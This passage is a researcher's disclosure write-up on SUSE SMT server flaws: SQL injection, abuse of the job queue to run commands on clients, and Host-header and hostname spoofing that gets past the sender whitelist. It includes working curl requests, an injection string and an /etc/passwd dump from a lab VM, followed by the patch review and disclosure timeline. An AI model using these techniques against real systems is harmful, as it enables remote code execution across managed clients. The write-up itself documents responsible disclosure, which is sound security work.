INSERT INTO Clients (GUID, HOSTNAME) VALUES("sqli", "SQLi");#)
So we have an injection point on an INSERT clause. A vulnerability for sure, but what can we accomplish? On first glance, not much.
By default MariaDB uses the --secure-file-priv switch so writing files to the server is not a possibility.
We can insert whatever we want into any table we want in the smt database, however, so I started looking at the
tables for that database again and there's a couple of interesting looking ones that stick out:
Patches - can we potentially create our own patches that will be deployed to clients?
Product* - these tables could be potentially interesting, can we create our own products that are deployed to clients?
Catalogs - same reasons as the other two, can we potentially create our own Catalog and insert an entry into this that will pull packages from it?
After researching all of the tables and their functionality for something useful to use with our exploit, the most interesting table from
an attackers persepective turns out to be JobQueue.
Here's what
the documentation
has to say about the purpose of the JobQueue:
Since SUSE Linux Enterprise version 11, there is a new SMT service called SMT JobQueue. It is a system to delegate jobs to the registered clients.
To enable JobQueue, the smt-client package needs to be installed on the SMT client. The client then pulls jobs from the server via a cron job (every 3 hours by default). The list of jobs is maintained on the server. Jobs are not pushed directly to the clients and processed immediately, but the client asks for them. Therefore, a delay of several hours may occur.
Every job can have its parent job, which sets a dependency. The child job only runs after the parent job successfully finished. Job timing is also possible: a job can have a start time and an expiration time to define its earliest execution time or the time the job will expire. A job may also be persistent. It is run repeatedly with a delay. For example, a patch status job is a persistent job that runs once a day. For each client, a patch status job is automatically generated after it registers successfully against an SMT 11 server. The patchstatus information can be queried with the smt-client command. For the already registered clients, you can add the patchstatus jobs manually with the smt-job command.
You can manipulate, list, create or delete the jobs. For this reason, the command line tool smt-job was introduced. For more details on smt-job, see smt-job.
and from https://www.suse.com/documentation/sled-12/sled-12-sp2/singlehtml/book_smt/book_smt.html#smt.yast.staging.client
For each client that is registered against the SMT server, SMT creates a job queue. To make use of the job queue, you need to install the smt-client package on the client. During the installation of the smt-client package, a cron job is created that runs the client executable /usr/sbin/smt-agent every three hours by default. The agent then asks the server if it has any jobs in the queue belonging to this client, and executes these jobs. When there are no more jobs in the queue, the agent terminates completely. It is important to understand that jobs are not pushed directly to the clients when they get created, and are not executed until the client asks for them in the preconfigured intervals of the cron job. Therefore, a delay of several hours may occur from the creation time of a job on the server until the job is executed on the client.
Every job can have a parent job, which means that the child job only runs after the parent job has successfully finished. It is also possible to configure advanced timing and recurrence/persistence of jobs. You can find more details about SMT jobs in Section 7.1.2.3, "smt-job".
When creating jobs, you need to specify the GUID of the target clients using the -g GUID parameter. Although the -g parameter can be specified multiple times on a single command, there is no "wild card" functionality to assign a job to all clients.
Currently the following types of jobs are relevant:
Execute
Run commands on the client.
Eject
Open, close, or toggle the CD tray of the client.
Patchstatus
Report the status of installed patches.
Reboot
Reboot the client.
Softwarepush
Install packages.
Update
Install available updates.
So every client that is connected to the SMT server automatically polls this JobQueue table every 3 hours (by default)
for jobs to process -- and the types of jobs look particularly interesting, especially "Execute".
Smells like an easy path to code execution. Awesome.
To find out what exactly a job consists of let's investigate the JobQueue table:
MariaDB [smt]> describe JobQueue;
+-------------+---------------------+------+-----+-------------------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------------+---------------------+------+-----+-------------------+----------------+
| ID | int(10) unsigned | NO | PRI | NULL | auto_increment |
| GUID_ID | int(10) unsigned | NO | PRI | NULL | |
| PARENT_ID | int(10) unsigned | YES | | NULL | |
| NAME | varchar(255) | NO | | | |
| DESCRIPTION | mediumtext | YES | | NULL | |
| TYPE | int(10) unsigned | NO | | 0 | |
| ARGUMENTS | blob | YES | | NULL | |
| STATUS | tinyint(3) unsigned | NO | | 0 | |
| STDOUT | blob | YES | | NULL | |
| STDERR | blob | YES | | NULL | |
| EXITCODE | int(11) | YES | | NULL | |
| MESSAGE | mediumtext | YES | | NULL | |
| CREATED | timestamp | NO | | CURRENT_TIMESTAMP | |
| TARGETED | timestamp | YES | | NULL | |
| EXPIRES | timestamp | YES | | NULL | |
| RETRIEVED | timestamp | YES | | NULL | |
| FINISHED | timestamp | YES | | NULL | |
| PERSISTENT | tinyint(1) | NO | | 0 | |
| VERBOSE | tinyint(1) | NO | | 0 | |
| TIMELAG | time | YES | | NULL | |
| UPSTREAM | tinyint(1) | NO | | 0 | |
| CACHERESULT | tinyint(1) | NO | | 0 | |
+-------------+---------------------+------+-----+-------------------+----------------+
22 rows in set (0.00 sec)
There's a lot of information that can be stored here and the JobQueue table is empty by default
(jobs are automatically created as clients get registered, though).
The documentation above states that jobs are created using the smt-job
tool so let's investigate that.
Our goal is to generate a job in order to see what it looks like in the database. Reading the help document and playing around with the program for a couple of minutes
and we're able to formulate a succcessful command:
sudo smt-job --verbose 3 --create -t execute -X "touch /tmp/t" -g "sqli"
Note that you have to supply a valid GUID with the -g switch.
This is the GUID of the client machine(s) that should pull this job, and at least when
utilizing smt-job, it must be valid (i.e. it must
exist in the Clients/Registration tables). Here we use the GUID from our sql injection test. When the client
machine pulls this it will execute
touch /tmp/t and return the result to the SMT server.
Let's see what that looks like in the database:
the job type to job name mapping can be found in the Constants.pm file:
# Maps JOB_TYPE ID to JOB_TYPE NAME
1 => 'patchstatus',
2 => 'softwarepush',
3 => 'update',
4 => 'execute',
5 => 'reboot',
6 => 'configure',
7 => 'wait',
8 => 'eject',
51 => 'createjob',
52 => 'report',
53 => 'inventory',
So now that we know what the resulting database entry looks like we can use our SQL injection vulnerability to insert an entry into the JobQueue table that
will execute commands on client machines. GUIDs can be phished/guessed/bruteforced (by default they are sequential)
to provide an entry for every potential client machine resulting in code execution on all of them
-- a disaster situation in the right environment.
Here's the payload that we will use to insert an entry into the JobQueue table to achieve code execution. Note that we could use the SQL injection that we
found earlier to craft a raw SQL statement to insert what we want but since the table name is not verified and we want the same syntax anyway it's just
easier to structure the XML normally and let the code handle creating the statement.
These are the only values that are needed. Note that we have to escape the opening brackets for the
XML in the value for the ARGUMENTS column.
Not quite unauthenticated just yet...
I confirmed the XXE vulnerability on August 3rd and further exploited it and discovered the SQL injection vulnerability on August 4th.
I reported both vulnerabilities to the SUSE security team on August 4th and heard back shortly thereafter confirming them.
I heard from the SUSE security team again on August 7th where two preconditions were noted:
registration sharing needs to be enabled, and currently it is not enabled by default (I wrote about this in my initial email to them)
there is a whitelist sender filtering before processing, so only compromised SMT sibling hosts could exploit this problem in the main SMT
I assumed that the "whitelist sender filtering" being referred to was the acceptRegistrationSharing
configuration option that was required when initially setting up registration sharing through the SMT.
We touched on that intially earlier -- to be honest, I had simply forgotten to test making requests and accessing this data from an
external network and had been doing everything from localhost within the VM. I tested this after I received the email and sure enough when trying the exploits
from outside localhost the following is returned:
(192.168.43.226 is the SLES guest, 192.168.43.87 is my local archlinux host)
[~/SUSE]$ curl -v -d @readfile.xml "http://192.168.43.226/center/regsvc?command=shareregistration&lang=en-US&version=1.0"
* Trying 192.168.43.226...
* TCP_NODELAY set
* Connected to 192.168.43.226 (192.168.43.226) port 80 (#0)
> POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1
> Host: 192.168.43.226
> User-Agent: curl/7.61.0
> Accept: */*
> Content-Length: 271
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 271 out of 271 bytes
< HTTP/1.1 403 Forbidden
< Date: Sat, 11 Aug 2018 21:22:26 GMT
< Server: Apache
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
* Connection #0 to host 192.168.43.226 left intact
Registration data not accepted, host 192.168.43.87, not listed as "acceptRegistrationSharing" provider in config file.
So only requests from whitelisted hosts are actually accepted. Bummer, this pretty much brings the attack surface for these issues down to a minimum.
Serious vulnerabilities for sure, but the whitelisted hosts are already trusted.
Without getting too discouraged I decided to take a look at the code that handles authentication. Searching the
repository for references to "Registration data not accepted" leads us to the subroutine
_verifySenderAllowed:
sub _verifySenderAllowed{ my $r = shift; my $apache = Apache2::ServerUtil->server; my $senderName = $r->hostname(); my $senderIP = $r->connection()->client_ip(); my $msg = 'Received shared registration request from ' . $senderName . ':' . $senderIP; $apache->log->info($msg); # Verify that it is OK to accept the registration from this host my $cfg; eval { $cfg = SMT::Utils::getSMTConfig(); }; if($@ || !defined $cfg) { $r->log_error("Cannot read the SMT configuration file: ".$@); return SMT::Utils::http_fail($r, 500, "SMT server is missconfigured. Please contact your administrator."); } my $allowedSenders = $cfg->val('LOCAL', 'acceptRegistrationSharing'); my %acceptedProviders; if ($allowedSenders) { %acceptedProviders = map { ($_ => 1) } split /,/, $allowedSenders; } if ((! $acceptedProviders{$senderName}) && (! $acceptedProviders{$senderIP})) { $msg = "Registration data not accepted, host $senderIP, not listed " . 'as "acceptRegistrationSharing" provider in config file.'; $r->log_error($msg); return SMT::Utils::http_fail($r, 403, $msg); } return 1;}
The conditional that fails resulting in our error message looks interesting
if ((! $acceptedProviders{$senderName})
&& (! $acceptedProviders{$senderIP})) {
$msg = \"Registration data not accepted, host $senderIP, not listed \"
. 'as \"acceptRegistrationSharing\" provider in config file.';
$r->log_error($msg);
return SMT::Utils::http_fail($r, 403, $msg);
}
Two conditions must be met in order
to fail: $senderName must not
be in $acceptedProvidersand$senderIP must not be in
$acceptedProviders. The IP check makes sense given our
configuration file, but what is the $senderName check all about?
We can see it being set on this line
my $senderName = $r->hostname();
Let's add a quick couple of lines to _verifySenderAllowed
that will log what all of these variables represent once a request comes through.
my $tmpm = "acceptedProviders: @{[%acceptedProviders]} | Name: $senderName | IP: $senderIP";
$r->log_error($tmpm);
And making the same request as before we see our message in the apache error log
acceptedProviders: 127.0.0.1 1 | Name: 192.168.43.226 | IP: 192.168.43.87
Using our message and the code we can determine that acceptedProviders
is a hash that looks like %acceptedProviders{'127.0.0.1'} = 1,
$senderName is equal to the IP of our SLES guest and
$senderIP my host machines local IP. At this point it seems pretty
likely that the way it would be acquiring the value for the $senderName
variable is through the Host HTTP header. Let's test:
curl --header "Host: x" -d @readfile.xml "http://192.168.43.226/center/regsvc?command=shareregistration&lang=en-US&version=1.0"
and on the server:
acceptedProviders: 127.0.0.1 1 | Name: x | IP: 192.168.43.87
Perfect. All we have to do is provide an IP address or hostname that is present in the
%acceptedProviders hash (or rather the
acceptRegistrationSharing
configuration option) as the value for our Host header and we can bypass the authentication without
actually having to be whitelisted by the server! As an example I set my header to a known value and...
[~/SUSE]$ curl -v --header "Host: 127.0.0.1" -d @readfile.xml "http://192.168.43.226/center/regsvc?command=shareregistration&lang=en-US&version=1.0"
* Trying 192.168.43.226...
* TCP_NODELAY set
* Connected to 192.168.43.226 (192.168.43.226) port 80 (#0)
> POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1
> Host: 127.0.0.1
> User-Agent: curl/7.61.0
> Accept: */*
> Content-Length: 271
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 271 out of 271 bytes
< HTTP/1.1 400 Bad Request
< Date: Sat, 11 Aug 2018 23:33:54 GMT
< Server: Apache
< Connection: close
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
Could not determine table name for insertion from XML
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
ftpsecure:x:489:65534:Secure FTP User:/var/lib/empty:/bin/false
games:x:12:100:Games account:/var/games:/bin/bash
gdm:x:482:483:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
messagebus:x:499:499:User for D-Bus:/var/run/dbus:/bin/false
mysql:x:60:494:MySQL database admin:/var/lib/mysql:/bin/false
news:x:9:13:News system:/etc/news:/bin/bash
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
nscd:x:496:495:User for nscd:/run/nscd:/sbin/nologin
ntp:x:74:489:NTP daemon:/var/lib/ntp:/bin/false
openslp:x:494:2:openslp daemon:/var/lib/empty:/sbin/nologin
polkitd:x:497:496:User for polkitd:/var/lib/polkit:/sbin/nologin
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
pulse:x:487:487:PulseAudio daemon:/var/lib/pulseaudio:/sbin/nologin
root:x:0:0:root:/root:/bin/bash
rpc:x:495:65534:user for rpcbind:/var/lib/empty:/sbin/nologin
rtkit:x:488:488:RealtimeKit:/proc:/bin/false
scard:x:484:485:Smart Card Reader:/var/run/pcscd:/usr/sbin/nologin
smt:x:485:8:User for SMT:/var/lib/smt:/usr/bin/false
srvGeoClue:x:490:65534:User for GeoClue D-Bus service:/var/lib/srvGeoClue:/sbin/nologin
sshd:x:498:498:SSH daemon:/var/lib/sshd:/bin/false
statd:x:486:65534:NFS statd daemon:/var/lib/nfs:/sbin/nologin
systemd-timesync:x:491:491:systemd Time Synchronization:/:/sbin/nologin
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
vnc:x:483:484:user for VNC:/var/lib/empty:/sbin/nologin
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
ebx:x:1000:100:ebx:/home/ebx:/bin/bash
vboxadd:x:481:1::/var/run/vboxadd:/bin/false
* Closing connection 0
Could not generate SQL statement to insert registration% [~/SUSE]$
Success! Using this we are able to bypass authentication and exploit both of the previous vulnerabilities as a
remote attacker. Likely candidates for whitelisted hosts could be gotten using a tool like nmap or could be
phished, guessed or simply bruteforced.
Bypass #2
On September 27th SUSE released patches for the SMT that addressed CVEs 2018-12470, 2018-12471 and 2018-12472
and made two announcements on the sle-security-updates
mailing list:
On October 1st I was notified directly via email that patches had been released. After asking for more information
about the patches I was told about the commit hashes that dealt with them, let's look at a comparison:
Everything looks to have been fixed. External entities are disabled (or set to return nothing or not expand)
in all of the places that LibXML is being used, fixing CVE-2018-12471.
$tableName is checked to ensure that it should equal
either 'Clients' or 'Registration' so it is no longer possible to craft arbitrary SQL statements or
insert entries into the JobQueue table
to achieve code execution, fixing CVE-2018-12470. The fix for CVE-2018-12472 looks interesting, however:
my $senderName = $r->hostname();
becomes
my $senderName = $r->connection()->get_remote_host();
Let's look at the
documentation for get_remote_host:
get_remote_host
Lookup the client's DNS hostname or IP address
$remote_host = $c->remote_host();
$remote_host = $c->remote_host($type);
$remote_host = $c->remote_host($type, $dir_config);
obj: $c ( Apache2::Connection object )
The current connection
opt arg1: $type ( :remotehost constant )
The type of lookup to perform:
Apache2::Const::REMOTE_DOUBLE_REV
will always force a DNS lookup, and also force a double reverse lookup, regardless of the HostnameLookups setting. The result is the (double reverse checked) hostname, or undef if any of the lookups fail.
Apache2::Const::REMOTE_HOST
returns the hostname, or undef if the hostname lookup fails. It will force a DNS lookup according to the HostnameLookups setting.
Apache2::Const::REMOTE_NAME
returns the hostname, or the dotted quad if the hostname lookup fails. It will force a DNS lookup according to the HostnameLookups setting.
Apache2::Const::REMOTE_NOLOOKUP
is like Apache2::Const::REMOTE_NAME except that a DNS lookup is never forced.
Default value is Apache2::Const::REMOTE_NAME.
opt arg2: $dir_config ( Apache2::ConfVector object )
The directory config vector from the request. It's needed to find the container in which the directive HostnameLookups is set. To get one for the current request use $r->per_dir_config.
By default, undef is passed, in which case it's the same as if HostnameLookups was set to Off.
ret: $remote_host ( string/undef )
The remote hostname. If the configuration directive HostNameLookups is set to off, this returns the dotted decimal representation of the client's IP address instead. Might return undef if the hostname is not known.
since: 2.0.00
The result of get_remote_host call is cached in $c->remote_host. If the latter is set, get_remote_host will return that value immediately, w/o doing any checkups.
Since the patch is calling get_remote_host()
without any parameters the default value of
Apache2::Const::REMOTE_NAME
is used for the type which per the documentation above
returns the hostname, or the dotted quad if the hostname lookup fails. It will force a DNS lookup according to the HostnameLookups setting.
It's unlikely that someone is going to use :: as a whitelisted host, but, it would seem that the hostname is still
controlled by the party initiating the connection.
As a test, I insert some code that will once again log our request information to the apache error log
(note that the only thing I inserted is $r->log_error($msg);, the rest was added with the patches)
my $msg = 'Received shared registration request from '
. $senderName
. ':'
. $senderIP;
$apache->log->info($msg);
$r->log_error($msg);
and issue the request again
[~/SUSE]$ hostname
sec
[~/SUSE]$ curl -v --header "Host: 127.0.0.1" -X POST -d @ssrf.xml "http://192.168.43.226/center/regsvc?command=shareregistration&lang=en-US&version=1.0"
in the logfile on our SUSE guest:
[Tue Oct 16 13:30:02.431851 2018] [:error] [pid 2351] Received shared registration request from sec:192.168.43.87
This confirms that, at least on a local network, we are able to alter our hostname to bypass authentication just like we did in CVE-2018-12472 (albeit at a slower rate if guessing/bruteforce is required).
Due to limitations in my environment I was unable to test the ability for a remote attacker to exploit this by altering DNS records, but I believe that to be possible as well.
I reported the above to SUSE on October 5th and it was fixed shortly thereafter, with patches officially released on October 25th
(sle-security-updates announcement)
Notified SUSE security team of the initial XXE and SQL injection vulnerabilities through
their official
security channel.
2018-08-0414:13
First response
Received a reply from SUSE head of product security confirming receipt of my report
and sharing references for their internal bug report with mention of CVE assignments.
My intiial report was after hours (for those in Germany) and on a Saturday
and I received a response less than 2 hours after my initial email.
2018-08-0703:42
Checkup
Received an email from SUSE security with confirmation that the development team has
confirmed both vulnerabilities and assigned a CVE to each. Two preconditions, including
a whitelist which I did not initially write about, are noted.
2018-08-0709:04
Authentication bypass
Notified SUSE security of authentication bypass vulnerability that defeats the
whitelist precondition.
2018-09-2710:09
Patches
SUSE releases security patches and makes
twoannouncements
on the sle-security-updates mailing list.
2018-10-0100:17
Patch notification
SUSE notifies me that patches have been released.
2018-10-0507:41
Authentication bypass #2
Notified SUSE security that the fix for CVE-2018-12472 was incomplete
and would still allow a malicious actor to bypass authentication.
2018-10-2516:09
Patches
SUSE releases patches addressing the incomplete fix for CVE-2018-12472
and makes an
announcement
on the sle-security-updates mailing list.
SUSE was friendly, fast responding and gave the issues the appropriate levels
of attention and detail. They were also kind enough to reward my efforts
with a very awesome
t-shirt.